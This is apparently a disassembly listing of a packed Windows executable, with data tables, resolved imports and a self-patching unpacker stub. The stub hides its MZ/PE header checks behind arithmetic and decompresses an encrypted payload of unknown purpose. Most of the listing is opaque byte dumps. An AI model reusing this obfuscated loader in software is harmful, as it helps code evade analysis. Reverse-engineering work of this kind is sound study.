dword_4E941C dd 0 ; .XComp0:00432BD5w dword_4E9420 dd 0 ; resolved to->USER32.MessageBoxA ; sub_433100+39w ... dword_4E9424 dd 0 ; resolved to->USER32.GetActiveWindow ; sub_433100:loc_433173r ... dword_4E9428 dd 0 ; resolved to->USER32.GetLastActivePopup ; sub_433100+8Br ... dword_4E942C dd 1 ; sub_433870+46w ... dword_4E9430 dd 0 dword_4E9434 dd 77C2807Ch ; sub_435930+37r ... dword_4E9438 dd 0 ; sub_435A80+86r ... dword_4E943C dd 0 ; sub_436400+93r ... dword_4E9440 dd 0 ; sub_436400+A3r ... dword_4E9444 dd 0 ; sub_436400+7Cr ... dword_4E9448 dd 0 ; sub_436730+B1r ... dword_4E944C dd 0 ; sub_436B90+2B5r ... dword_4E9450 dd 0 ; sub_436B90+2D7r ... dword_4E9454 dd 3 dup(0) ; sub_430C50+F3o word_4E9460 dw 0 ; DATA XREF: sub_436B90+36r align 8 word_4E9468 dw 0 ; DATA XREF: sub_436860+Fr align 4 db 2 dup(0) word_4E946E dw 0 ; DATA XREF: sub_436400+Fr db 2 dup(0) word_4E9472 dw 0 ; DATA XREF: sub_435B60+Fr word_4E9474 dw 0 ; DATA XREF: sub_435B60+1Ar align 4 dword_4E9478 dd 0 ; sub_436FC0+176r ... dword_4E947C dd 0 ; sub_437310+1Br ... dword_4E9480 dd 0 ; sub_437310+101r ... dword_4E9484 dd 0 ; sub_437250+47r ... dword_4E9488 dd 0 ; sub_436FC0+4Br ... dword_4E948C dd 0 ; sub_436FC0+80r ... dword_4E9490 dd 0 ; sub_436FC0:loc_4370CEr ... dword_4E9494 dd 0 ; sub_436FC0+1CBr ... dword_4E9498 dd 0 ; sub_436FC0+2Cw ... dword_4E949C dd 0 byte_4E94A0 db 0 ; DATA XREF: sub_43AA10+18Fo ; sub_43AA10+1F2r ... align 8 dword_4E94A8 dd 0 ; .XComp0:off_4533DCo ... dword_4E94AC dd 0 ; sub_43ACB0+46w ... dword_4E94B0 dd 0 ; sub_43B7C0+6Dw ... align 8 dword_4E94B8 dd 0 ; sub_43B7C0+77r dword_4E94BC dd 10h dup(0) word_4E94FC dw 0 ; DATA XREF: sub_43BBA0+FCr word_4E94FE dw 0 ; DATA XREF: sub_43B7C0+88r ; sub_43BBA0+145r ... word_4E9500 dw 0 ; DATA XREF: sub_43BBA0+132r word_4E9502 dw 0 ; DATA XREF: sub_43BBA0+13Br ; sub_43BBA0+18Br word_4E9504 dw 0 ; DATA XREF: sub_43BBA0+126r ; sub_43BBA0+181r word_4E9506 dw 0 ; DATA XREF: sub_43BBA0+11Cr ; sub_43BBA0+177r word_4E9508 dw 0 ; DATA XREF: sub_43BBA0+113r ; sub_43BBA0+16Er word_4E950A dw 0 ; DATA XREF: sub_43BBA0+109r ; sub_43BBA0+164r dword_4E950C dd 0 ; sub_43B7C0+CEr dword_4E9510 dd 10h dup(0) word_4E9550 dw 0 ; DATA XREF: sub_43BBA0+43r word_4E9552 dw 0 ; DATA XREF: sub_43B7C0+ABr ; sub_43BBA0+8Cr ... word_4E9554 dw 0 ; DATA XREF: sub_43BBA0+79r word_4E9556 dw 0 ; DATA XREF: sub_43BBA0+82r ; sub_43BBA0+D2r word_4E9558 dw 0 ; DATA XREF: sub_43BBA0+6Dr ; sub_43BBA0+C8r word_4E955A dw 0 ; DATA XREF: sub_43BBA0+63r ; sub_43BBA0+BEr word_4E955C dw 0 ; DATA XREF: sub_43BBA0+5Ar ; sub_43BBA0+B5r word_4E955E dw 0 ; DATA XREF: sub_43BBA0+50r ; sub_43BBA0+ABr dword_4E9560 dd 0 ; sub_43B7C0+C9r dword_4E9564 dd 0 ; sub_43B7C0+196r ... dword_4E9568 dd 0 ; sub_43B760+16r ... dword_4E956C dd 0 ; sub_43C0A0+41w ... dword_4E9570 dd 0 ; sub_43C240+41w ... dword_4E9574 dd 0 ; sub_43C5F0+4Bw ... byte_4E9578 db 0 ; DATA XREF: sub_411029+3r ; sub_411029+11r ... align 4 dword_4E957C dd 0 ; sub_439B90+A5w ... dword_4E9580 dd 0 ; sub_439D20+1EDw ... dd 7 dup(0) dword_4E95A0 dd 2561F58h ; sub_4249E0+109r ... dd 3Fh dup(0) dword_4E96A0 dd 20h ; sub_429A00+7r ... dword_4E96A4 dd 0 ; sub_4245A0+11r ... dword_4E96A8 dd 0 ; sub_4243A0+3Bo ... dword_4E96AC dd 4E4h ; sub_42B800+14Aw ... word_4E96B0 dw 0 ; DATA XREF: sub_42B800+19Aw ; sub_42B800+2F3w ... align 4 dd 2 dup(0) dword_4E96BC dd 0 ; sub_42B800+2C2w ... byte_4E96C0 db 0 ; DATA XREF: sub_42BCB0+1CEw ; sub_42BCB0+21Aw ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4E97C0 db 0 ; DATA XREF: sub_42B800+ABw ; sub_42B800+1F4w ... byte_4E97C1 db 0 ; DATA XREF: sub_421C90+92r ; sub_42B800+129r ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4E98C4 dd 0 ; sub_42B800+205w ... dword_4E98C8 dd 2560000h ; sub_420610+FBr ... dword_4E98CC dd 1 ; sub_420610:loc_4206AEr ... dword_4E98D0 dd 0 ; sub_4273E0+9r ... dword_4E98D4 dd 0 ; sub_4268C0+4B3r ... dword_4E98D8 dd 0 ; sub_4268C0+5C1w ... align 10h dword_4E98E0 dd 0 ; sub_4268C0+477r ... dword_4E98E4 dd 0 ; sub_426800+6r ... dword_4E98E8 dd 0 ; sub_426790+1Br ... dword_4E98EC dd 0 ; sub_425D30+6Dr ... dword_4E98F0 dd 0 ; .XComp0:00424D0Fw ... dword_4E98F4 dd 25624C8h ; sub_4249E0+4Dr ... align 10h dword_4E9900 dd 400h dup(0) ; .XComp0:0044FF50o dword_4EA900 dd 200h ; sub_4249E0+Dw ... dword_4EA904 dd 142340h ; sub_431830:loc_431842r ... dword_4EA908 dd 1 ; sub_43C420+Er dword_4EA90C dd 1 ; sub_42BFE0+16w ... dword_4EA910 dd 2562410h ; sub_423BB0+19r ... dword_4EA914 dd 2562410h ; sub_421880+5Ar ... dword_4EA918 dd 0 ; .XComp0:0042087Fw ... byte_4EA91C db 0 ; DATA XREF: sub_43D400+5r ; sub_43D400+11r ... align 10h dd 1B8h dup(0) ; --------------------------------------------------------------------------- test edx, 0C2F77EC2h retn 0F77Eh ; --------------------------------------------------------------------------- retn 7EC2h ; --------------------------------------------------------------------------- test edx, 0C2F77EC2h retn 697Eh ; --------------------------------------------------------------------------- xlat retn 695Eh ; --------------------------------------------------------------------------- xlat retn 695Eh ; --------------------------------------------------------------------------- xlat retn 695Eh ; --------------------------------------------------------------------------- xlat retn 695Eh ; --------------------------------------------------------------------------- xlat retn 0AF5Eh ; --------------------------------------------------------------------------- a1gp1gp1gp1gp1g db '{1G¯{1G¯{1G¯{1G¯{1G',0 align 10h dd 82h dup(0) dd 47317BAFh, 3 dup(0) dd 5EC2D769h, 10h dup(0) dd 7EC2C2F7h, 26F0000h, 26F03C0h, 2700000h, 2710000h, 2711026h dd 2720000h, 2730000h, 2730903h, 2730D5Dh, 2740000h, 2750000h dd 2752224h, 2752360h, 2760000h, 2760AD3h, 2770000h, 2770587h dd 27706D8h, 2770A41h, 2770E7Ah, 2780000h, 7C81CDDAh, 27800D6h dd 278056Fh, 2790000h, 2790B56h, 27A0000h, 27A0169h, 27A0334h dd 27A0512h, 27A0A42h, 27A0A66h, 27A0B00h, 27B0000h, 27B01D1h dd 27B03C5h, 27B05C1h, 27B0712h, 27B0DBCh, 27C0000h, 27C01D4h dd 27C0D51h, 27D0000h, 27D0334h, 27E0000h dword_4EB354 dd 27F0000h dd 27F0576h, 2800000h, 7C9010EDh, 7C901005h, 280071Ch dd 2800913h, 2810000h, 28108CCh, 2810BC8h, 2820000h, 28205DBh dd 2830000h, 2840000h, 2850000h, 285107Bh, 2851454h, 2860000h dd 286095Bh, 2870000h, 2880000h, 2890000h, 2891214h, 2891CEAh dd 28A0000h, 28A0146h, 28B0000h, 28B06F8h, 28C0000h, 28C0586h dd 28C0728h, 28D0000h, 28D070Dh, 28E0000h, 28E119Ah, 28E1569h dd 28F0000h, 2900000h, 2900504h, 290093Eh, 2900D54h, 2910000h dd 29114ADh, 2911A4Dh, 2920000h, 2920166h, 2920974h, 2920A33h dd 2930000h, 2930C67h, 2930CCDh, 7C859B72h, 2940000h, 29401CDh dd 29405B9h, 29406E1h, 2950000h, 2960000h, 2970000h, 2970D92h dd 2980000h, 29801ABh, 2980BA3h, 2980D20h, 2980F59h, 2990000h dd 29902DBh, 299067Ch, 2990CE1h, 29A0000h, 29A01F9h, 29A0246h dd 29A09FFh, 29A0A3Dh, 29B0000h, 29C0000h, 29D0000h, 29D12C6h dd 29D1775h, 29D19A8h, 29D1A34h, 0 dd 77C019FFh, 77C01A50h, 77C018BAh, 0 dd 71AB2BF4h, 71AB2B66h, 71AB406Ah, 71AB4428h, 71AB664Dh dd 71AB3EA1h, 71AB4519h, 71AB3E00h, 71AB88D3h, 71AC1028h dd 71AB615Ah, 71AB9639h, 71AB3B91h, 71AB428Ah, 71AB2DC0h dd 71AB4544h, 6C5h dup(0) dword_4ED000 dd 7C801A24h, 7C81CDDAh, 0; resolved to->KERNEL32.CreateFileAdword_4ED00C dd 5D0965CFh, 4 dup(0); resolved to->COMCTL32.InitCommonControls dd offset dword_4ED050 dd offset dword_4ED000 dd 3 dup(0) dd offset byte_4ED079 dd offset dword_4ED00C dd 5 dup(0) dword_4ED050 dd 4E52454Bh, 32334C45h, 6C6C642Eh, 43000000h, 74616572h ; DATA XREF: .XComp0:004ED020o dd 6C694665h, 4165h, 69784500h, 6F725074h, 73736563h db 0 byte_4ED079 db 43h, 4Fh, 4Dh ; DATA XREF: .XComp0:004ED034o dd 334C5443h, 6C642E32h, 6Ch, 74696E49h, 6D6D6F43h, 6F436E6Fh dd 6F72746Eh, 736Ch, 3D9h dup(0) dd 92B34D15h, 4B4D7h, 68C50h, 0A3172h, 0 ; --------------------------------------------------------------------------- mov eax, 0 pusha or eax, eax jz short loc_4EE086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4EE041 popa jmp short loc_4EE076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h db 0E0h, 4Eh, 0 dt 9.2233720368547758075e18 ; --------------------------------------------------------------------------- loc_4EE041: ; CODE XREF: .XComp0:004EE02Cj call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_4EE04E: ; CODE XREF: .XComp0:004EE072j mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4EE06D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4EE074 loc_4EE06D: ; CODE XREF: .XComp0:004EE059j sub eax, 1000h jmp short loc_4EE04E ; --------------------------------------------------------------------------- loc_4EE074: ; CODE XREF: .XComp0:004EE06Bj mov edi, eax loc_4EE076: ; CODE XREF: .XComp0:004EE02Fj jmp loc_4EE265 ; --------------------------------------------------------------------------- add eax, edi mov ecx, 0EE26Ah add ecx, edi jmp short loc_4EE090 ; --------------------------------------------------------------------------- loc_4EE086: ; CODE XREF: .XComp0:004EE01Cj mov eax, offset loc_56B5ED mov ecx, offset word_4EE26A loc_4EE090: ; CODE XREF: .XComp0:004EE084j push eax push ecx call sub_4EE11B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4EE265 ; --------------------------------------------------------------------------- dw 9328h dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh dd 1848C86h, 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4EE11B proc near ; CODE XREF: .XComp0:004EE092p var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4EE127: ; CODE XREF: sub_4EE11B:loc_4EE13Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4EE132: ; CODE XREF: sub_4EE11B+7Aj ; sub_4EE11B+C3j ... add dl, dl jnz short loc_4EE13B mov dl, [esi] inc esi adc dl, dl loc_4EE13B: ; CODE XREF: sub_4EE11B+19j jnb short loc_4EE127 add dl, dl jnz short loc_4EE146 mov dl, [esi] inc esi adc dl, dl loc_4EE146: ; CODE XREF: sub_4EE11B+24j jnb short loc_4EE197 xor eax, eax add dl, dl jnz short loc_4EE153 mov dl, [esi] inc esi adc dl, dl loc_4EE153: ; CODE XREF: sub_4EE11B+31j jnb loc_4EE238 add dl, dl jnz short loc_4EE162 mov dl, [esi] inc esi adc dl, dl loc_4EE162: ; CODE XREF: sub_4EE11B+40j adc eax, eax add dl, dl jnz short loc_4EE16D mov dl, [esi] inc esi adc dl, dl loc_4EE16D: ; CODE XREF: sub_4EE11B+4Bj adc eax, eax add dl, dl jnz short loc_4EE178 mov dl, [esi] inc esi adc dl, dl loc_4EE178: ; CODE XREF: sub_4EE11B+56j adc eax, eax add dl, dl jnz short loc_4EE183 mov dl, [esi] inc esi adc dl, dl loc_4EE183: ; CODE XREF: sub_4EE11B+61j adc eax, eax jz short loc_4EE18D push edi sub edi, eax mov al, [edi] pop edi loc_4EE18D: ; CODE XREF: sub_4EE11B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4EE132 ; --------------------------------------------------------------------------- loc_4EE197: ; CODE XREF: sub_4EE11B:loc_4EE146j mov eax, 1 loc_4EE19C: ; CODE XREF: sub_4EE11B:loc_4EE1B0j add dl, dl jnz short loc_4EE1A5 mov dl, [esi] inc esi adc dl, dl loc_4EE1A5: ; CODE XREF: sub_4EE11B+83j adc eax, eax add dl, dl jnz short loc_4EE1B0 mov dl, [esi] inc esi adc dl, dl loc_4EE1B0: ; CODE XREF: sub_4EE11B+8Ej jb short loc_4EE19C sub eax, ebx mov ebx, 1 jnz short loc_4EE1E3 mov ecx, 1 loc_4EE1C0: ; CODE XREF: sub_4EE11B:loc_4EE1D4j add dl, dl jnz short loc_4EE1C9 mov dl, [esi] inc esi adc dl, dl loc_4EE1C9: ; CODE XREF: sub_4EE11B+A7j adc ecx, ecx add dl, dl jnz short loc_4EE1D4 mov dl, [esi] inc esi adc dl, dl loc_4EE1D4: ; CODE XREF: sub_4EE11B+B2j jb short loc_4EE1C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4EE132 ; --------------------------------------------------------------------------- loc_4EE1E3: ; CODE XREF: sub_4EE11B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4EE1F1: ; CODE XREF: sub_4EE11B:loc_4EE205j add dl, dl jnz short loc_4EE1FA mov dl, [esi] inc esi adc dl, dl loc_4EE1FA: ; CODE XREF: sub_4EE11B+D8j adc ecx, ecx add dl, dl jnz short loc_4EE205 mov dl, [esi] inc esi adc dl, dl loc_4EE205: ; CODE XREF: sub_4EE11B+E3j jb short loc_4EE1F1 cmp eax, 7D00h jnb short loc_4EE228 cmp eax, 500h jb short loc_4EE223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4EE132 ; --------------------------------------------------------------------------- loc_4EE223: ; CODE XREF: sub_4EE11B+F8j cmp eax, 7Fh ja short loc_4EE22B loc_4EE228: ; CODE XREF: sub_4EE11B+F1j add ecx, 2 loc_4EE22B: ; CODE XREF: sub_4EE11B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4EE132 ; --------------------------------------------------------------------------- loc_4EE238: ; CODE XREF: sub_4EE11B:loc_4EE153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4EE259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4EE132 ; --------------------------------------------------------------------------- loc_4EE259: ; CODE XREF: sub_4EE11B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4EE11B endp ; --------------------------------------------------------------------------- loc_4EE265: ; CODE XREF: .XComp0:loc_4EE076j ; .XComp0:004EE0B1j jmp loc_56B5ED ; --------------------------------------------------------------------------- word_4EE26A dw 38E9h ; DATA XREF: .XComp0:004EE08Bo dd 1523568h, 0B892C8AFh, 23BFFE42h, 0C847B822h, 0EA47B835h dd 848B36BCh, 124AF6Ah, 0ADD5730h, 0F5E7057Eh, 14B33D9h dd 79778570h, 0F13DC278h, 3CB21421h, 0DC71BCEFh, 0E4DD2103h dd 0DD215C24h, 0E655278h, 72617473h, 17704167h, 0CE78A72Eh dd 22ABEB10h, 0AF0EE198h, 3DA511C8h, 0A01F9F8h, 685400BFh dd 64696D65h, 14AE161h, 6883EBEEh, 2F84057Eh, 420138FAh dd 8B87BBBEh, 60D421C5h, 5D20C2E8h, 177ED81h, 8905F935h dd 8418E995h, 2BA5B50Dh, 13D18542h, 0E2BD8303h, 74010E21h dd 0C8E88B0Ch, 0FD9EB8E2h, 70F1C29Eh, 10C72444h, 608753Eh dd 0A3E8456Ah, 9A680729h, 0A5078374h, 250A01DFh, 0E90A894Bh dd 14E910D5h, 7DECA502h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFD8h lodsb out dx, al add al, 5Ah sub edx, 8B003665h fcmovb st, st(7) loc_4EE34F: ; CODE XREF: .XComp0:004EE36Cj inc ebp fcom dword ptr [ecx+400EB108h] mov [edi-33827EF8h], ecx sbb byte ptr ds:200F6774h, 8 repne or edi, 49h adc bh, bh xchg dl, [edx] inc ebx jmp short loc_4EE34F ; --------------------------------------------------------------------------- dw 3736h ; --------------------------------------------------------------------------- fsub qword ptr [ecx+26h] inc ecx leave retn 4004h ; --------------------------------------------------------------------------- dd 7CC48146h, 4902FF68h, 8D40AEE4h, 5D8B8045h, 85C70814h dd 8D504419h, 0C3D10AA0h, 4118880Ah, 818A0B89h, 5D2006BDh dd 27E37529h, 8EBA8D42h, 8075C064h, 49BB0E8Ah, 0B8005BF4h dd 785437ABh, 0FFCD0D3h, 754B08C3h, 0C3AFB0F7h, 4A465247h dd 0F92A4646h, 61D12B42h, 75D0A08Ah, 0EE8AFDF0h, 0A4DFC45h dd 3CAD04EBh, 3E80468Ch, 0BA53F740h, 61346E84h, 7FEB0C7Dh dd 0CCF83E90h, 84F0126Dh, 10F40ECAh, 65C14A81h, 0D64004F0h dd 39E0D1F8h, 2860C203h, 1C8ADB33h, 0FB80301Ch, 0A0A72CCh dd 5773D39h, 67F2EB3Eh, 0F6611422h, 667F0A0Dh, 5F1E086Fh dd 0AC0AC34Eh, 30411A10h, 460A0B72h, 24DE0677h, 5D0118A2h dd 83F4ECF0h, 21B7D73h, 370CB072h, 66A576C0h, 0F84126AAh dd 6A8D07CEh, 553B00A8h, 78820FFCh, 0C1B0BDA9h, 5038BEAAh dd 0B9E008BAh, 0FCA870E0h, 3740F4BDh, 470F01FEh, 0B9FA7549h dd 0DC6AC522h, 0E17D01BBh, 0EB82F11Dh, 8E6002B7h, 0E39FD86h dd 655106FAh, 77D1360Fh, 0C4268A3Bh, 5910F9E9h, 15F0A2B4h dd 7B2811C0h, 8CF7C1h, 198B0ED6h, 47FD4C58h, 0A663CC07h dd 0D594FCADh, 5C609887h, 60E9C32Ch, 2B213F12h, 3B01A233h dd 6035E8A4h, 39E807D3h, 98E40304h, 5CDA8C96h, 0ECF18A30h dd 0C00C8E10h, 0DCBA613Fh, 17002DDFh, 734DBC67h, 70CB8C62h dd 82F234h, 765B4E39h, 51B8100Fh, 0D1043D1Fh, 46983B1Dh dd 75097544h, 0E11602Eh, 65E4EC48h, 79069028h, 5C58401h dd 3A10968Eh, 3C539642h, 29C2042Ah, 5718C06h, 0DD0EE782h dd 2BFF98C2h, 4607781h, 0C1341D22h, 33F90C84h, 3FBC2075h dd 0B30ABB83h, 23039EFh, 4CEC419Ch, 0FFCC7F8Ch, 7F8640FCh dd 60E95245h, 52C46280h, 25044D8Ch, 0B1AA8211h, 5A68AB26h dd 56451384h, 825EFC30h, 811B55EEh, 27D91D42h, 10B9D58Ah dd 97292313h, 0D98B4143h, 8007D910h, 34CC8217h, 3A1E1CDAh dd 8C808D67h, 5E281DBh, 5418016Bh, 212D04E9h, 14C4725Ch dd 0AA255D8Ah, 16084533h, 54442100h, 81518BC4h, 612F28D8h dd 0F5D100A3h, 0B62FD40h, 863110CAh, 9EA3138h, 0C6A30B80h dd 5C08F2F9h, 0C8A5670Eh, 0DE182C86h, 1217A102h, 23F9C110h dd 3FB99E00h, 70138DDBh, 64600CCh, 0C2F66478h, 2DD825EAh dd 5214C482h, 887E2A1Fh, 0F60EA57h, 77C22B0Dh, 0BED31CD5h dd 3D3E4016h, 0AB9B46BFh, 1A86F4C3h, 893E5128h, 0CC165E11h dd 3A0449E4h, 2A674C74h, 0E914F8D2h, 0FBA580B4h, 5B109Fh dd 5F5C5455h, 2AC782FDh, 8CA96860h, 1F85B9D9h, 83753F95h dd 0C28634C1h, 0F3D1D7E7h, 0EAD8F90Fh, 53333ACh, 0C8DB3257h dd 30E3B9F2h, 8D0C2752h, 58020FEEh, 0C38CF961h, 33C262h dd 8F2DF083h, 5EF1484h, 0D326C449h, 0C000BBDFh, 643F8BFAh dd 420EE0C8h, 9EDE8FBBh, 8D0EF0Dh, 0E43A2F0h, 237EC7F0h dd 6517B60h, 0D00E3707h, 3C163FFh, 6BDD533h, 89686440h dd 0DA005136h, 0EAB183F7h, 311F502h, 372E25B6h, 6EA855E5h dd 79D9ECA2h, 2610E970h, 4A00C0F3h, 0C5C923C4h, 7D10B7D2h dd 0C73900ACh, 6029DBCFh, 0B6005D4Fh, 0A2DDDF72h, 30012FF0h dd 7B5168E5h, 63015D3Bh, 0AEE3CBABh, 0DC30AC80h, 0BC8730DFh dd 0D5FE6740h, 1C01C9F6h, 354F805Fh, 50BA78D2h, 307A141Ch dd 71E767FAh, 1203447Dh, 18827334h, 1A1808A3h, 0D68A148Bh dd 0E41164B7h, 0A45C7D00h, 0E87B5643h, 973A9206h, 3050ACE5h dd 6231D1BBh, 0FB003779h, 0BF38B185h, 0B09A88B4h, 1A501893h dd 0B007D156h, 0F482DE01h, 0CB1FD8CEh, 0F951C0h, 0B823AFD9h dd 0BFE76024h, 63315E61h, 80DECD53h, 0BBBDE980h, 3E7900BEh dd 5ABC8C61h, 202851AFh, 9520944Bh, 601AF071h, 6F494159h dd 0C500790Bh, 44C97C7h, 0C396E18h, 3BD11BDBh, 0BE7B6930h dd 0BB58A263h, 0D0D100D6h, 2E5D8D5Eh, 4A0FF12Fh, 0E09A5CCAh dd 0BB8B6582h, 4129C0B8h, 873EC4D3h, 9ED5A900h, 0D1E7371Ch dd 94B50BE5h, 0D40C51C9h, 624065A0h, 48FD0563h, 4F862DCFh dd 5CA129FCh, 61445EBCh, 8653F1A3h, 0CBE23318h, 616E0069h dd 1935B21h, 3F24E7B6h, 0EF0A00D3h, 4C9FD4DDh, 0A02AE001h dd 822ABD6h, 3D62D509h, 0C7716420h, 38CEE74Fh, 0B4BD8A31h dd 3543DB40h, 0E6658053h, 48D5BF20h, 0E2C06844h, 0A18827B4h dd 90205700h, 4C55A252h, 0E921C1DEh, 85B10BEDh, 5ED5F738h dd 0EFB93C01h, 3005E4A7h, 575A6554h, 0EB485588h, 9C0249B8h dd 56B07D9h, 0B8E75840h, 0BB0A2091h, 0EE8088CFh, 33C38F55h dd 0FF2801D4h, 0E3345094h, 0AF2183CEh, 44B5A5Dh, 5355D760h dd 38F85ACCh, 1AB9128h, 99F98672h, 41899EFCh, 4C29784h dd 53965A87h, 0EF6800D1h, 0C7E51C32h, 0D47F10E4h, 1B160A00h dd 40847B6Ah, 3F49020h, 554FFA2Ah, 887D730Eh, 10DEDDEDh dd 6067B5C9h, 53A5609Bh, 10926924h, 8148E648h, 0FBD05B64h dd 39D45098h, 0EF79B5E0h, 0E5A8B650h, 0F78D7E15h, 3D7C00ACh dd 4BDB046Bh, 5080E559h, 0CC31035Ch, 2F003BBAh, 0A4710F94h dd 25ED36h, 917BB107h, 7AA999A8h, 0B3F7D905h, 87807202h dd 1D52A371h, 0BAB9A5h, 6E5CED8Eh, 3F071891h, 5BB098F7h dd 1481AD81h, 9305020h, 0F5767C1Ch, 0FAB39A00h, 2700F971h dd 92DD8FAEh, 51942Ch, 0B8A502A2h, 82A3B7FEh, 3112BB00h dd 9EC016D5h, 0BE7709CCh, 0C8279AD7h, 0A6248075h, 0C524E186h dd 558A30E3h, 43C2A452h, 4BD900D2h, 89807165h, 0A698A851h dd 194D0023h, 12F0F552h, 0A30040E8h, 781ED02Dh, 243C1DE9h dd 9C780F7h, 5421BD73h, 354AF65Dh, 0F91820CCh, 0D0204941h dd 0F15B8964h, 4E7186D5h, 7195F1Ah, 9203835h, 0D08AA9A7h dd 84DF1040h, 0AC4363BCh, 1900D3EFh, 655AB04Ch, 6DA0D5h dd 43D7DFC7h, 952B06D0h, 521A2201h, 4180077Ah, 38159088h dd 6ABDE30Eh, 0CD9298B9h, 1E476840h, 3F7525Dh, 97CF32FDh dd 0D0CEEA55h, 249CD54Ch, 0EF14C424h, 0F70C004Ch, 3C266B35h dd 84D491B6h, 94D1E2Dh, 194423B9h, 34C10260h, 0F6805EC5h dd 46AAB843h, 0DCC1CC04h, 44003679h, 0F1F7327h, 0A818C669h dd 0F07A6A8h, 0D5951378h, 8CA8B64Ah, 2B595519h, 20DABA00h dd 34D85F8h, 0A13006Ah, 8305774Fh, 60FB9490h, 5B883414h dd 0C4795543h, 3D5613FCh, 0B854024Ah, 0AB0284BFh, 0E23490F8h dd 10146479h, 7C5235h, 69D59C24h, 2E5A5F3h, 0CE22777h dd 2C41A2C0h, 0C9D18F41h, 0C897ACEDh, 940D5043h, 6461CDA8h dd 26D44840h, 19C7ED30h, 2AB665DBh, 44D45ADFh, 0DD00AFD2h dd 4344619Fh, 5BD6BE2h, 0D5C4242Ah, 9F24495Dh, 0E440E81Ah dd 0C040DFE7h, 2BACA067h, 0D0A280D4h, 0E710B898h, 0E424E543h dd 52114Ch, 9DE32299h, 486892CAh, 0FC00BF83h, 2A61661Bh dd 4D13DDB4h, 0FC0893A7h, 766380E8h, 62923833h, 1067DC02h dd 0E001F091h, 0B8800E00h, 3E433C20h, 12B4B329h, 0AC1C04A8h dd 23A08824h, 1144B120h, 7962B6E7h, 0BA016700h, 2A2056D7h dd 9638C460h, 74041246h, 0E002B75Dh, 88A03589h, 71A28594h dd 8C4C9200h, 0E60DCE2Ch, 9D7401BDh, 0D6E25D53h, 58282081h dd 12061A88h, 29612Eh, 4DD717D7h, 8013C54h, 0DFBA90E5h dd 688CCF77h, 33106D86h, 0F009E840h, 0A188D8B8h, 0CCA45FD5h dd 53DA2904h, 0E1018366h, 47BC6FCDh, 0C90820C4h, 0C54DD7E5h dd 34FF2E4Ch, 4B19308h dd 953FEFAFh, 7E5C0050h, 704235CFh, 62F0F8C7h, 4C9A8943h dd 1D00B469h, 0F9E39D9Fh, 437EECC6h, 0F498A3F6h, 17367920h dd 4FB3BE6Bh, 0FA004390h, 89522F45h, 15493B60h, 8BCCE7h dd 0ABD0C2Eh, 55CF98B9h, 78459630h, 1E09D0Fh, 0F75C80ADh dd 505A1A58h, 0BD66EFA0h, 7AEEF401h, 248AB589h, 0B1D933DCh dd 786800A0h, 0DA4FEF38h, 76074C92h, 6B7E44F9h, 5D510C80h dd 687D61BEh, 60FA5AA1h, 0B490CBC4h, 91AC2402h, 0A143EDB1h dd 10681EA0h, 88B9B470h, 0BE0360F8h, 7F3CF1EFh, 56C4A9E4h dd 0D71E30h, 9F991EEEh, 9BD143F3h, 7ADF3416h, 67D51C42h dd 30654Eh, 8B669D1Bh, 0EA0193B2h, 9A336539h, 0A2C44F4Ah dd 0CF950BBDh, 0DC2D6E5Dh, 9635F480h, 68087F50h, 0FDF96101h dd 0EC879D8Eh, 5FC0ABC1h, 8A8B967h, 11303485h, 8051E923h dd 3A59BE65h, 4B5512F0h, 0B9E7B421h, 35788C26h, 82115DBEh dd 7824E1B4h, 0CE8F5081h, 2209806h, 5DB57C65h, 0D53F0CFEh dd 0A260494Bh, 1C2D1C03h, 